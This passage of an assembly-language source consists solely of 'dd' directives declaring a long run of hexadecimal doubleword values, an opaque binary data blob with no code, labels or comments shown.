59AC8280h, 0BE138890h dd 0D50C7F0Fh, 2EC40011h, 134DF1ABh, 7EB0168h, 709C2068h dd 0A71CB9Bh, 0FE855412h, 508DF044h, 7B48D4A4h, 40C30026h dd 0F395BC19h, 6B30B570h, 92CB20DCh, 9E281407h, 0A5E12053h dd 58BD18C5h, 21B8F0FAh, 1CB3F68Ch, 0B0250C7Ch, 621EB519h dd 0CFB62407h, 3730A1C1h, 2457633h, 0BCE50F73h, 0B0816B81h dd 243544EBh, 364F8E9Ch, 46ECB040h, 6866ACh, 6ED86B30h dd 249DA529h, 0C52F3B00h, 0D46C463Ah, 71401E98h, 0F12B016Bh dd 0F92D9943h, 2089921Bh, 0B080589Bh, 0F9DC43D7h, 6C403781h dd 9BD04Ch, 0DA229651h, 17C23892h, 0A300E990h, 0E8E9A136h dd 0BE9B21h, 85B38EC0h, 0F7260A50h, 8C092C73h, 846EFE75h dd 0E2602928h, 0C47495B9h, 558E094h, 0B6B900CBh, 99F5B182h dd 2815800Ah, 0C4DEB8h, 0B33C0ECFh, 24C44312h, 3E9A406Dh dd 7BD79706h, 0AA04702Ah, 3EA4E5E7h, 0C21EF4C7h, 60584843h dd 5980DDACh, 791DB041h, 0A2D0800Bh, 73CED70Ah, 85BB9ECFh dd 0A84193ADh, 6CE1695Dh, 604C082Dh, 0C7032E23h, 0B5C428B9h dd 0CFE86829h, 0C761CB9h, 0ACA540BAh, 8453FB61h, 72B8F251h dd 21CBF190h, 141E4C0Ch, 0E7813A57h, 0EF974FC0h, 92DCD6E4h dd 0C42A06F4h, 0B86F5491h, 110BF918h, 3ED59F71h, 25245BC7h dd 7DD78F8Ch, 0EC65408Bh, 0AE6023E4h, 9403B0DFh, 0FC5F02Ch dd 60788A93h, 484642F9h, 293A2435h, 0C09D6893h, 43FBC258h dd 8F8302Eh, 0FB440EF6h, 0C8D6DFA7h, 93382844h, 6A0C1E01h dd 0B89DE00h, 5D1B31Dh, 154C9550h, 33C8E17Bh, 0AC2B0194h dd 460CD331h, 46E8F82Ch, 0F900CB43h, 24D566AAh, 0F0A19DE8h dd 0A8306481h, 8E0C14Dh, 121DC645h, 0C0109AA4h, 2134B769h dd 30BF00CBh, 0B275ACE8h, 782AEB71h, 0E496A40Bh, 57E504D6h dd 0C06C5991h, 6AEC0338h, 0E1643630h, 0CADF41h, 0A590834Ah dd 314735E4h, 0C450F04h, 493F124h, 482F983Fh, 0C8950019h dd 0AE79BFA1h, 64BC1F2Bh, 0B5890A5h, 0DDF2408Dh, 43EB6206h dd 0A0281EAEh, 806F19B4h, 3A240C79h, 2E02D859h, 50747F09h dd 0E4940638h, 28655578h, 0A4B88A1Bh, 34CBA441h, 62C132C8h dd 0A0F288E4h, 0E84373D8h, 79A0C10Ah, 200BF099h, 0B099FB0Ch dd 2A80E991h, 5671BF82h, 924D0587h, 0CE81FF82h, 0B0340C54h dd 9751C10Fh, 61E51FDDh, 1CC1C450h, 0C1C030BAh, 0FBD5732Eh dd 9E1B7F32h, 77465E1Ch, 3CD33B05h, 0F9FB8312h, 504655E8h dd 8080714Bh, 0B2C3B59Dh, 0BE2EEA0h, 2EC9F51Eh, 26118C1Dh dd 7D9C3B80h, 0B80A43E6h, 0B444B7C1h, 54144A80h, 0F4DC1AC3h dd 0F347097Dh, 884083A7h, 630A5725h, 0F4400E1Ch, 38253D11h dd 7708D017h, 0B347602Bh, 8807F216h, 3139D721h, 6D8A2E31h dd 49A0012Bh, 42D28CF4h, 0A0705EC4h, 7A0F8B13h, 39A20821h dd 0A665B980h, 3B0B86F5h, 5C17087Eh, 0CC05A06Dh, 0D4B410F4h dd 1C8F81Eh, 0E4B3AC1h, 0E005D103h, 55004358h, 0F19B52FAh dd 4E294A14h, 5BC403F3h, 0D9500815h, 0D5409C38h, 981E007Eh dd 0E14EAC25h, 9C93DE93h, 0ED4F305h, 109FA0C0h, 4608908Ah dd 0ECB87AD5h, 16975872h, 30BBA084h, 0A4A500D2h, 0D7A25123h dd 8349DD72h, 0BCAF0030h, 0FC15CC9Dh, 0DAA10B91h, 0DCE54650h dd 1BCAEFE2h, 49D9EB88h, 5792C07h, 61274524h, 1890F084h dd 0C28FE597h, 0BC824679h, 0B7150F9h, 1271AB18h, 0AA80D854h dd 0D4178700h, 0D433941h, 58A5003Ch, 5D8D8A4Eh, 0D0BECF12h dd 0CD465Eh, 0B7DDFE9Eh, 42E3E3Fh, 0B5487816h, 3BA02E8h dd 79F8D9A1h, 0B0C81933h, 5E2007D3h, 5098C78Bh, 4DEBBFF4h dd 79EC2995h, 4E4BA28h, 56088836h, 75C0C400h, 73A53495h dd 0B22A2808h, 19146A4h, 758F0E95h, 0F0B6E66h, 410E3DB1h dd 38EBF136h, 0BF14002Eh, 68584337h, 0F3F5EA04h, 8A42F694h dd 946069C1h, 54A26765h, 53F35C80h, 28DEFD70h, 402CAFC3h dd 4217DA75h, 5EB05E2Ch, 4C040C46h, 0F08FA7EBh, 8C069750h dd 4194780Fh, 68450978h, 64806371h, 1012DD09h, 0A4C0272Fh dd 98DB3834h, 6057B480h, 12041B5Dh, 0A2719F35h, 7E264C8h dd 3FA6D7B5h, 81E911CFh, 0C42DD4BEh, 60ED6125h, 272A9BCCh dd 68175B5Ah, 6ECB6188h, 0FF09C7C0h, 630E8B2Ch, 0F56FF5A3h dd 24127080h, 0C82F761Bh, 9C05F223h, 0F080F413h, 48E21714h dd 232E5CBBh, 762E8048h, 0A0B8E9Ah, 5F0063Eh, 57DA49ABh dd 0BE3774F4h, 6CFC8038h, 25483DB2h, 0CD00BCFCh, 499404Bh dd 12EE9A36h, 128E43F3h, 0F2D4E26Ch, 0BFAA30D2h, 0A2502401h dd 4969686Eh, 0B94C104h, 736600CBh, 979FE40Fh, 3415F812h dd 652B7708h, 52F6804Ch, 0FE021CA6h, 3B45FC03h, 9C985486h dd 9B2C1779h, 24738000h, 9B6F5B9h, 0EAFB52E1h, 13446502h dd 72A088E8h, 2CB82124h, 0F5519240h, 738803B9h, 2C33F010h dd 9E31CEB8h, 9DCAA627h, 0CB548824h, 3BB58C60h, 55561F06h dd 2C640140h, 68B09F0Dh, 80E5C1C8h, 43AE791h, 0A8990BF8h dd 0DC8D2434h, 0BE7926DEh, 3C260000h, 6553D898h, 4898F84Ch dd 9A0E122Dh, 3288A0CBh, 57ACC9C0h, 0EEBE0477h, 0BC7F270Ch dd 0C0D90894h, 0AA00B9D5h, 51F363A5h, 0E06B242Dh, 0E4984519h dd 0B940630Bh, 585A0A71h, 4002B6CBh, 8601D3Fh, 61E812D7h dd 0A0602926h, 0F443CD02h, 0EFB480EAh, 92A518Ah, 0C56180FAh dd 0A09F078h, 9DBA7416h, 2ED20864h, 3E7C5A6Ch, 95A67953h dd 181E8BE0h, 43712C21h, 586500CBh, 5DD9CF41h, 92469A27h dd 0EC7E5181h, 8D02D700h, 9748821Fh, 60F4F813h, 10A030E9h dd 0C8FBEF58h, 0F18080D5h, 0B3C3CF30h, 47D21F14h, 8CD3EC24h dd 0A2B07400h, 0AC24AB70h, 5E7B1660h, 8E4C342Eh, 0CB478490h dd 0B8096337h, 3DC4388h, 0D6A5002h, 689D6BC6h, 0C59040h dd 0EEEBF532h, 0BF66DE2Ah, 0D443A25Fh, 80C586FDh, 0F1CD82h dd 0A9CE0A07h, 98A19B28h, 5020124Eh, 0B33B32h, 0CECF975Ah dd 3CB2B818h, 79C5531Eh, 9BE59400h, 36C485Ch, 3740C4CDh dd 0A827B2D2h, 114C1791h, 442D8063h, 58C8FB1Ah, 6D2F98A8h dd 0B99D2080h, 0D95A6BC5h, 0FE3DC006h, 57F80559h, 0F5EA5548h dd 0A8903D34h, 5BD11227h, 6578045Fh, 30CE1387h, 0E4381500h dd 0D55F8E22h, 801FF53Ch, 0C5C81777h, 0F49F59ECh, 125B48A7h dd 455A2500h, 0C7E96FEBh, 7C95282Eh, 5B2A0A04h, 23F220A2h dd 107E330h, 2FA04513h, 0EC9D633Dh, 94305BF1h, 6731A81Dh dd 85394F01h, 88AC8B78h, 0D48EC026h, 0DC04DEFBh, 0BFDA9DF6h dd 0D51F80A2h, 438464EBh, 5E710562h, 0E040134Fh, 644AC156h dd 999100B8h, 117EF6CBh, 58784F97h, 46020A13h, 63A2F8B3h dd 55F4930h, 330CC2C9h, 2F2CE4B8h, 810E0700h, 0B7F73F2h dd 0CF171341h, 5BBCF057h, 0EC40245Eh, 5AE23B65h, 0B474008Ah dd 0EB6B61E4h, 0C6035F9Bh, 6801587Ch, 0F8199167h, 2F4A2422h dd 2ED510E8h, 8DA476C1h, 0F7A87029h, 2FE39098h, 0A0D93413h dd 0C7B1C072h, 0F50C21h, 62D1EF08h, 83B572CFh, 311AD72Dh dd 87E9F788h, 0CA072078h, 0A6A7F372h, 0C01211D9h, 14E73609h dd 0EFEEDBA0h, 25C29905h, 18809864h, 5B243FF4h, 388C8284h dd 873B005Ah, 0B32D9640h dd 782ED495h, 85000A23h, 684F6997h, 8597C5h, 978D050h dd 2C4E228Dh, 6C23BC3Bh, 0C52A3203h, 3F08E09Bh, 16D37EE6h dd 0C035815Ah, 0C8EBFBB4h, 3007034Bh, 0A93BFA3Bh, 67306D6Ch dd 0DC66047h, 0B4A7E10h, 0D610043Eh, 0B513C02Eh, 1668827Bh dd 0F0DF4FCh, 0FABE15BCh, 2F08585h, 51C4C3CBh, 0B200A3A5h dd 0D55530F2h, 85249B09h, 3F0091FAh, 1471803Ch, 0ECC2D3C1h dd 2E2D105Ch, 0C3C2B04Dh, 0F315E0DAh, 52A40ED1h, 0EF49D56Fh dd 0A2B8B4C0h, 0B72D94B4h, 0F4440038h, 82AEABA5h, 56C16900h dd 53B573A8h, 64255341h, 7EBC202Eh, 6A000746h, 72320FDDh dd 90589A7Eh, 0E4074FB8h, 0D01B7981h, 0E1D4A028h, 1C649053h dd 0AD83C71Fh, 2C436438h, 0BD0A6713h, 1CCE8C9Ah, 7CF212A9h dd 0F0C0BD00h, 102B0F21h, 0C761038Ah, 36C36684h, 81C093BBh dd 9B095BADh, 0F8F589C4h, 2D950050h, 0D9FE5C15h, 61C1FDC2h dd 0FBD87FF7h, 690B096h, 317AB994h, 0CBB0CA25h, 882DF3F4h dd 9739Bh, 0D9A1445Bh, 131A45E6h, 6C873D5Ah, 0FA6F2A71h dd 63B87839h, 0C1007A7Eh, 0B480B74Eh, 9EBBA591h, 0A465E24h dd 8419BA16h, 23202E24h, 87B31E24h, 0A351E040h, 0A1AF72C4h dd 3D9912DDh, 3AACDCh, 3116158Bh, 0B89911F9h, 82014C91h dd 64A8F18h, 48976020h, 9199044h, 2AA42146h, 1800586Bh dd 8FE4B3E5h, 0D616884Eh, 0C9A9A0Dh, 5AF2CBC0h, 1609CF12h dd 0D9A10291h, 22327874h, 0FA861286h, 0F1E8B249h, 590CCAEFh dd 5045AD09h, 0D0B02095h, 731646A2h, 8B6F4A76h, 0C736C8E8h dd 0D4A6707Bh, 9D02A546h, 102032ABh, 0B584478h, 0FB2649D9h dd 0CFB3842h, 1304D6D0h, 91ACC60h, 0A802091Ch, 0D4C45B85h dd 46566896h, 0A6270508h, 8287C670h, 9FBB87FEh, 4B232FEh dd 3321D4F7h, 0BA84E05Bh, 0CC985Ch, 2B5AE1A4h, 1D80F457h dd 9097A0B4h, 52B04CA6h, 13583921h, 263F00EBh, 9CD7784Ch dd 9589003Ah, 0E469456Eh, 20FCB892h, 979ADE17h, 6E7A50E1h dd 2C97022Ch, 40101446h, 0B1F049D4h, 1821F960h, 0A5D70117h dd 7D72F257h, 2DE83497h, 0CD25A8B4h, 0F8C564A4h, 1A00DCA8h dd 0FEA9A07h, 726C00AFh, 0EF63B425h, 9679D6B2h, 24FE3600h dd 58C230ACh, 182704A5h, 0E0214878h, 2009FD88h, 0D8716846h dd 9CC85328h, 0CCB46A1h, 0A12C00DCh, 0E6B97EC6h, 0C3004FBFh dd 511ADFCEh, 3099DE13h, 7130C07Bh, 0FB4F250Bh, 8158D404h dd 5BC3A8B0h, 0B27424C1h, 2B68B1A4h, 9C001E0Ch, 0E19F73E7h dd 5FA5DC2h, 8D0F7475h, 78A8CD81h, 43DFAC30h, 259C022Eh dd 5B906557h, 161A584Ch, 47EE4B05h, 98F9B7AFh, 0E6C06700h dd 73C5190Dh, 0D66E6A00h, 8CDA58Dh, 0E712013Eh, 15553309h dd 3AB4655Eh, 68B69452h, 0F35941E0h, 8B3CD700h, 0F63615B3h dd 5E30F271h, 0D08457F0h, 0D4EB7328h, 0B08D1D40h, 0FC672D28h dd 0E8825485h, 8C0BBC34h, 2D1F6A02h, 0D301A50Ah, 3FB51274h dd 30723B0h, 9DE836BFh, 4665EDD8h, 27D0279Dh, 584050DBh dd 0EC10943Fh, 9A311221h, 5B1240A2h, 37444970h, 8C0570F2h dd 0E91347A5h, 0C3294A1h, 0FE3029F2h, 32FA0775h, 41F26E25h dd 7AC94BC0h, 0BF9D8000h, 95BC7345h, 23114897h, 0EF0F9480h dd 0D103B9FAh, 89B344EEh, 94A5F512h, 2C90DCh, 0EBBA35Ah dd 9565746Ch, 0F5A68400h, 921D18EEh, 60F37970h, 5788F816h dd 0A894FC8Dh, 51C3EC1Eh, 9BFDA26h, 0EA382ED1h, 0F3BB7820h dd 500F2DEh, 0D42A5D96h, 1DB6093Fh, 0CB147DD8h, 0A0E85965h dd 0BA4E7388h, 907F906Eh, 0D6901299h, 823CF3CCh, 1221F944h dd 8360A4CDh, 6AEB9Eh, 3FE7C0D5h, 0FB435A25h, 9FB794E4h dd 823011C4h, 0CCAE3155h, 73A016F8h, 0D5D86001h, 6E1E0AA2h dd 0EB459B32h, 0B041EE3Ch, 6867070Bh, 0F63E7FE0h, 7ABF00A6h dd 4AE9547h, 221FBC1Fh, 0CC630C6h, 97601B9Dh, 42ED2404h dd 74A15857h, 0B5A50148h, 2D1AFD43h, 0CAD710F8h, 30369C84h dd 2FCC8229h, 0BC169E73h, 82913E00h, 0E4C3656Bh, 0AD400037h dd 0B279A825h, 5F732133h, 298A2E09h, 0F12080CEh, 629DDF0Ah dd 4365412Fh, 0FD16C87Ah, 0A0905D80h, 83C8C75Bh, 0BC8C69D3h dd 0C3C01694h, 82B0DCA7h, 723B32DAh, 9C318070h, 56D753E2h dd 92B0E55h, 37608B34h, 85A760C1h, 2F57A307h, 47FE4135h dd 2CC3AAE3h, 22F0BFDAh, 0FADCC227h, 65863E97h, 0D3F61061h dd 0E0A03073h, 0D9ABD40Ch, 60FE08DFh, 0DC16202Bh, 9D0FFF73h dd 20227F8Ch, 62676A0h, 0E76E3FC6h, 276DAE86h, 0FBFE781Ah dd 0A6CB9F01h, 0BE912C56h, 0E633DC43h, 24C72C10h, 12B1000Bh dd 0EAB42004h, 0E1300274h, 0FCF020BFh, 35900097h, 0A2547DE2h dd 1E605059h, 4B145688h, 313A1E4Ch, 0CBD8404Dh, 9483AD21h dd 2A0D2C00h, 4F1ED4F5h, 0C131C010h, 436A0A24h, 8EE6D100h dd 0B83D7762h, 557631h, 3616CA87h, 3F5D9CC3h, 352EF605h dd 0AA835814h, 279000AEh, 8D6ECDE2h, 0FF0EDC33h, 6243F34h dd 21BA35h, 596EB5EBh, 95A1655Ch, 0A0576917h, 0BA245000h dd 604EFD28h, 880C912Fh, 9801B96Dh, 0A162CAACh, 14D1CBF4h dd 9FE32180h, 0D65A5E6Dh, 0CC7AF500h, 0FE835CF9h, 28A82433h dd 636100AFh, 2FABA9C1h, 0BA535B77h, 2C0CA1E8h, 6000880Ch dd 69FB5098h, 609211A1h, 9EF02059h, 0D1009B64h, 52F5D8C1h dd 0DD7509h, 5B410589h, 34063B57h, 0E1A3A81Dh, 0BBCFDE00h dd 5658091Eh, 0CB029CD3h, 6C33876Eh, 449C9888h, 0B3ED40C3h dd 1DFB2A6Eh, 0C09CCC5Dh, 0B7911081h, 34008528h, 6DA6CD51h dd 0C02F6003h, 0D7201740h, 0F1003276h, 0BD612B96h, 90580897h dd 0D53207Ch, 9CEA290Ah, 840E8B5h, 275B347Dh, 95704B7Fh dd 9ADC660Fh, 0A0CAA091h, 0D1A6CEh, 0FB2D0C88h, 0C17E31F5h dd 28B0D700h, 0CCECE0A9h, 15DEB0C9h, 0B4A62BCEh, 573D680h dd 1E87C871h, 0A4730017h, 565CC466h, 1207E10Ah, 41A880B4h dd 93A6DD39h, 0C500CBC0h, 0BE0994EBh, 3C261857h, 0EE629B3h dd 0FC817B03h, 0E82466D6h, 7BB876BAh, 0CAAD240Fh, 0D13429F0h dd 68F1810h, 31A56A1Bh, 0D8A91921h, 1D0218A7h, 3AB1D797h dd 0FAF6C0C2h, 3D9F97h, 45476485h, 0E16D6F04h, 72C8CC61h dd 500662EBh, 0C0B61B18h, 984829D9h, 5AE93F20h, 0E5916783h dd 28642893h, 8E60FBD0h, 9823CB6Dh, 290908BCh, 6DA5E500h dd 1815EAAh, 5D604470h, 20DD0C0Fh, 4A01D99Ch, 187CCBAEh dd 8186A77Fh, 61137195h, 0D1DA3930h, 75A6CF77h, 542E0075h dd 0BAEB442Dh, 6E07617Ch, 0C381F438h, 0BE924090h, 294ACB0h dd 0B1CEA525h, 0E019041Ah, 97FDF510h, 0E0203EEh, 32D7317Dh dd 0FB8CA10Dh, 2989E5A2h, 0C42E8F3Ch, 5B40F00h, 630024E6h dd 2DAF2E51h, 38A87ACFh, 2B932947h, 9DF049E9h, 18D660B9h dd 8E6E08C8h, 0BBC4D433h, 6EB0E840h, 0EC9888E2h, 9512601h dd 0C676DA7h, 57D4A821h, 48BA12A8h, 4BB40424h, 803F0F63h dd 0F4441767h, 0ABE90262h, 54C0B4AAh, 18A59441h, 247308CDh dd 0FFC2B06Fh, 8120042Bh, 0E0F1A7A4h, 41759F40h, 940DFA28h dd 1D20A948h, 7C5221Ch, 9440D739h, 0E34EC865h, 0C4EA09h dd 379AAF35h, 8FC6505Dh, 87482090h, 8370803Ch, 149BF590h dd 0C33D7A2h, 0C9957104h, 585483BFh, 31026BC9h, 99A8206Ch dd 73C9048Ch, 63D071F8h, 24C100F0h, 0BA7473D2h, 5C13D1A9h dd 340021A3h, 0CF4272FBh dd 0BC9151h, 79F0BB71h, 0BDE8A729h, 6F909800h, 68278753h dd 60621295h, 34DC00FBh, 56CF1CEh, 26569100h, 1F37382Ah dd 0E250A536h, 801B2C0Dh, 0CAB252h, 63B48F5Eh, 5D997D45h dd 334CF4A4h, 5BC6C128h, 0AB71E998h, 575E7050h, 0FC0D4DC7h dd 0B3C81849h, 0CBA51EC0h, 842248B1h, 97F6F2E0h, 0DAED0903h dd 24D4F12Dh, 18206370h, 756FB156h, 0F88E4D31h, 9FF87FDEh dd 38BE5378h, 5B30CEA2h, 877E00BBh, 690F9416h, 5476A9C6h dd 1808C860h, 90746D6h, 0D4CC9D7Bh, 0B468080Ch, 97F9028Ch dd 2FAB1CAh, 0E910DF19h, 360197D1h, 5811D57h, 0D180AA12h dd 3DA679E8h, 0D426D9FEh, 0D44A4080h, 0BE80DC11h, 2433A06Eh dd 2C098B1h, 90B26EA6h, 6CEA0F56h, 5BE13B82h, 30415980h dd 58CA948h, 0B1C997F8h, 0F45828F2h, 9C97D00Eh, 0D5576053h dd 4CB28196h, 84569CD1h, 0C801A423h, 0D8710373h, 19B01428h dd 9D0573D1h, 0D012FB3Eh, 0C115E405h, 56DAA800h, 529635Fh dd 0A45A734Bh, 0C8B4CB08h, 2F00C9BBh, 0C3E1A509h, 0BAB458CBh dd 0C43C4584h, 2AE860F0h, 57B10C58h, 0F1F80CE3h, 0E22DA416h dd 0A1B96030h, 993A0521h, 0CB041385h, 0E8084C48h, 0D7068CDFh dd 331EA025h, 42ECA740h, 11182BFFh, 779800E0h, 0C8191ECEh dd 4003D71Fh, 0CA0600Eh, 0A57B9042h, 0D0E069ADh, 0CE11F09Dh dd 401CD594h, 0D1DA80D5h, 0AC581ABDh, 7B88CCABh, 0E490D0CDh dd 32C1C98h, 120344E6h, 0A896D1A8h, 30041B46h, 16B9FC89h dd 0ED005697h, 65A4DF8h, 0F8BF747Ch, 98D30ACCh, 80806393h dd 0EB3D3128h, 92529C4Fh, 30E5B25Ch, 0ED90D4BDh, 0AEED7509h dd 46A49657h, 73CC1FA0h, 1CB86F89h, 0D5250E70h, 82BC4273h dd 9D7DB369h, 97ACB2h, 799EE211h, 144DE93h, 212EC4B8h dd 8CB41027h, 0BCF9125Eh, 19B486A9h, 9FC2704h, 54D5418Dh dd 152B9804h, 0A488DCD5h, 5AC08AC7h, 2E2EE036h, 51638858h dd 55690027h, 8C5B3CD2h, 0E203083Fh, 9EB38238h, 39211725h dd 5AD84032h, 2E4C6266h, 377A1704h, 3CD42221h, 0C8C8C88Bh dd 10DA17C0h, 5D7300A1h, 20A585B7h, 0A9308B34h, 712FC8CEh dd 0C03BEE93h, 7A0C388h, 6E0F7614h, 40E06917h, 75656B5Bh dd 84A7501Dh, 0A920B13Eh, 0E48338A4h, 4269F14Ah, 38F2B8B8h dd 0AEF270Ch, 0C0760828h, 863A4721h, 6F0099C2h, 52986556h dd 4091C04Bh, 40089E7h, 711E2DEEh, 1D85CEEFh, 11CF0769h dd 0F62700FBh, 0A29C1F2Dh, 726C18C8h, 8CE41844h, 0B24FD700h dd 85EE9334h, 88F93A40h, 1033BD80h, 2AEB45FAh, 0FFC47501h dd 444E751h, 6BBDAF8h, 0C3F337C2h, 4A7C48F2h, 45CC5B18h dd 1C257359h, 463A99AEh, 194B647Ah, 21B8EC0Fh, 876F8634h dd 0A62306E1h, 0D8FB5466h, 0EA02BC46h, 0CF712A2Dh, 51810131h dd 522DF22Bh, 78F4436Ch, 85B33ACBh, 9DF05906h, 1FD0D17Ch dd 300FF2E0h, 46CC3A08h, 0B82A91C0h, 6C041C8h, 0C7E865A6h dd 313308AEh, 0E80720F3h, 3D60D1C8h, 0BB181A25h, 0D468F1ECh dd 0EE38D90Ah, 4F0E9083h, 6A44C0A0h, 0C31DADBCh, 0EB8B6718h dd 0AF57814h, 0C23FCEF8h, 3140F2B5h, 3748115Eh, 494E2C80h dd 28AD8E11h, 5ADA3900h, 9934E574h, 92FB3D09h, 0F2E114F8h dd 94806836h, 86C045C6h, 32226743h, 0C8BC0300h, 7730B282h dd 5BBF0AEDh, 0AF4EF5Ch, 38246F6Ch, 0C89B6594h, 378B8703h dd 0F900ED63h, 0EEA720D1h, 39081F67h, 8667247h, 0B00021F9h dd 57FA738h, 252131Ch, 0B4E38B88h, 20436F27h, 1345023h dd 67F3A721h, 88F81847h, 0A70139B1h, 7D03662Eh, 8A40B716h dd 2A3253BCh, 46B0457Bh, 8463BF4h, 0C458F094h, 3E434075h dd 0C9F01586h, 1003CE12h, 9D983D49h, 11C0CB64h, 4612746Bh dd 297BEBh, 0B40AB161h, 47ACCDF8h, 8307E80Ch, 0C09150F1h dd 0C8458959h, 0C160CE23h, 0A86D8A98h, 0C750C7FFh, 0F0C0433h dd 6C30D8B9h, 0EF81326Eh, 0E497E0E8h, 49873191h, 4E7FE1A7h dd 0E6D8478Dh, 4A2451C7h, 8008E815h, 386032F5h, 3AC8B630h dd 6521C03Fh, 50B2B91h, 9487C8BEh, 0D7DB000Dh, 0A202E92Ch dd 41EC6837h, 0F3704026h, 71EB61C5h, 60D6088Bh, 0C7260A70h dd 3D810C4Bh, 8C6D7A36h, 6FEA1183h, 3E7179Ah, 71FECC46h dd 0A27D3700h, 7535E2FBh, 0A09701BFh, 62ADBDA9h, 50C7E4F7h dd 0C411CB0Eh, 2400B253h, 8C672AB8h, 0BCA24858h, 2168A840h dd 3411F2FCh, 43C69280h, 448C96C0h, 0BA0F0130h, 0C0A99EC8h dd 6A3C64F1h, 348E4D90h, 9BC28450h, 2DF0014Ch, 18FF7120h dd 2921CEF8h, 0E0742DA0h, 0AC607C18h, 6F23EBECh, 604FC52h dd 83EC72A2h, 0E89131E9h, 864B01D0h, 861DD200h, 60C7F03Eh dd 0CA4A80C2h, 3A50DF98h, 552E69D0h, 0E714E368h, 64E4883Ch dd 2DED60BBh, 0D771231Dh, 2E21FD18h, 172D01F5h, 0CC33BFE8h dd 297420F9h, 0A43BD12Ah, 0FEAEC900h, 0D76ACDB6h, 1DC60071h dd 41788060h, 0E80654BCh, 2EB1DC83h, 0D0F891A0h, 864AFFh dd 25870F61h, 0FEFC10C3h, 9C20F498h, 0CDC70DCCh, 0FC30E67Ch dd 0C9BF3E4h, 9384451Dh, 616250F0h, 863D4620h, 68FF0008h dd 7023BD96h, 8099886Eh, 6518FB79h, 6F124302h, 40799394h dd 3DC61B58h, 13039E8h, 94192971h, 3421F360h, 98F640B7h dd 219890ECh, 3E11784Bh, 72A71B87h, 0FA311767h, 0A733AB10h dd 0B32AD800h, 2528E531h, 5C851369h, 2BC04ACh, 29B5008Ah dd 58F65B0Dh, 9D02678Ch, 2C133048h, 0ABCB881h, 0BFA9807Ah dd 3722DC20h, 747D52h, 0F8F78435h, 0B2C53F5h, 42299FEFh dd 8C3FA1C1h, 0C030ED46h, 22618E8h, 0DD8921F3h, 868E6016h dd 25FDA021h, 914B9400h, 5005E2EAh, 0E154A58Fh, 2DC8D48Bh dd 0B0ED40C0h, 0DE240004h, 9471881Dh, 0A4A083EFh, 7893180Dh dd 3A6FA07Bh, 0BCA35D5Dh, 2906E9BCh, 0EEC10DDCh, 0EB6F4C19h dd 4111F40Ah, 63A90F80h, 5D6923C0h, 0E171502Bh, 75F0197Bh dd 40DE1403h, 23A1C5CDh, 0EC01BE80h, 0DF711C2Dh, 9C9F9823h dd 1D7C80F4h, 15F97E48h, 70C7AC02h, 4E2DC9Dh, 0ED6CC2B5h dd 0BEB14B20h, 0EB351215h, 22002007h, 0CB00C026h, 109E5ADCh dd 95CD77h, 9C819B1h, 0EED2BD8Dh, 841D8F3Eh, 0E7883C0h dd 9D7C78C0h, 40CA58D0h, 0BBC03988h, 46C03CC8h, 3322AEh dd 15C8C30Ah, 7566924Dh, 48ED5830h, 28F6EFE7h, 0A09C3659h dd 876A5794h, 2C60FBC4h, 409015B4h, 0A9F6CA13h, 0DBCE9C44h dd 303BFC82h, 0EA11A71Ch, 0FC88FF67h, 0A700AFA8h, 0D9646D8Eh dd 0EEE9F67h, 7A900FDAh, 0CC2360EBh, 3100E75Fh, 0F9DA04FDh dd 2C91223h, 9E6D028Dh, 90E58873h, 4E60FAE4h, 2AE08B78h dd 1064815Ch, 9025E7D4h, 4EC65810h, 571CC803h, 940A87FEh dd 284888Eh, 58EF304Bh, 19DF01C4h, 828D3D6Eh, 33D820CAh dd 0C6953B8Ch, 679EC088h, 0BD0458h, 56ACE6C8h, 0DDCC37B0h dd 800F652Ah, 1F023A46h, 3767F1A7h, 0AF7CE49Ch, 2D14A702h dd 0E5E13C48h, 6031E474h, 3B98530Ch, 22B94E9Eh, 6B3ABC85h dd 91D0917Ah, 0C49050FAh, 5E0024EAh, 63D9F8BEh, 50BF619h dd 10FE659Eh, 84FB1C17h, 842DC5D4h, 5B800224h, 94C1E98Ch dd 494CCBC2h, 6B67100Ch, 0E4C87000h, 6E7A380Dh, 0C860745Ch dd 0C8B9C037h, 0BE52C042h, 342264h, 0DC8C108h, 0A623FDDDh dd 2585200Eh, 0D4652170h, 90AC1EB1h, 5D4308A0h, 24C81B0Bh dd 0F4EF648h, 0C798EC9Ch dd 0F0916143h, 88741860h, 86073B44h, 0D979B9BBh, 588DF382h dd 0AC710488h, 2E75C87h, 818EDF4h, 907B05C4h, 508800F1h dd 4C5BBEA7h, 3E10F761h, 0D0B94318h, 0F0AAC415h, 71770A18h dd 0D9009925h, 0C9DF9433h, 0CA58FDh, 0C5158B3Fh, 6C0CB7ACh dd 90887A0Bh, 1DDCAB1Ah, 4B213830h, 7C1BDD80h, 156DC964h dd 0D844A4CAh, 681E6620h, 9F1507CBh, 6FAC50A4h, 40FC7351h dd 0AB83F042h, 52B3C418h, 24325A20h, 116CECEBh, 0A7228039h dd 8C2F67F0h, 48B2FE44h, 0DD12FC3Ah, 154C0029h, 0A3B46F2Bh dd 1A584C61h, 1DF04928h, 3AA400EEh, 8C699B32h, 20C65397h dd 18487241h, 0E1370704h, 189239CCh, 73316A05h, 48C72450h dd 37EF1250h, 87AB0143h, 1BCCED19h, 9CA0EA93h, 4C56E7FBh dd 901A7B00h, 0DB9BF67h, 0F4DB58EEh, 646D8A13h, 88DCCBF4h dd 0A5A8C030h, 8016A08Ch, 1C29CCB8h, 30E22C22h, 8F6030h dd 41D193B4h, 907D8A84h, 0DD285BEDh, 5F665E80h, 0C4C33CCFh dd 1FF6CF0h, 0D1C33BFh, 90F97860h, 0F2012E04h, 8C674078h dd 0E74B4F13h, 5915504Ch, 0DC5B18BFh, 0B1923804h, 343B494Bh dd 68008C77h, 4B408065h, 483604F0h, 0BF10F435h, 0C3E3406Dh dd 465E149Eh, 1A007D2Bh, 7B56FB34h, 5C8ABE82h, 91105CACh dd 524E003Bh, 39E48729h, 0EA25356Ch, 0A0308198h, 0F21D00DFh dd 0B06D18EFh, 53BB10C7h, 0F8906276h, 0CC9DF00Bh, 374490E7h dd 92F90134h, 0B917F328h, 0BA088121h, 94596F23h, 2EFB3CE0h dd 88349B65h, 25061088h, 2CB914E3h, 5E20874Ah, 0A13BFA46h dd 99E55700h, 6EA625A0h, 7129E074h, 0E0292C24h, 2618FC71h dd 0C523D100h, 767A2EBEh, 3951C541h, 180A36Eh, 0E9AC9F06h dd 683CF25Dh, 168C76BCh, 97D1A2BAh, 0D02D97ECh, 0D46613E7h dd 0A42F2125h, 3767BFB8h, 0F771F22Dh, 2A606051h, 14F2DF9h dd 568B8276h, 42E1389Dh, 54645FD8h, 6A47D800h, 6903061h dd 46D5001Dh, 0F70C4CA2h, 5702DD0Fh, 8E634EB2h, 993450FAh dd 1836F170h, 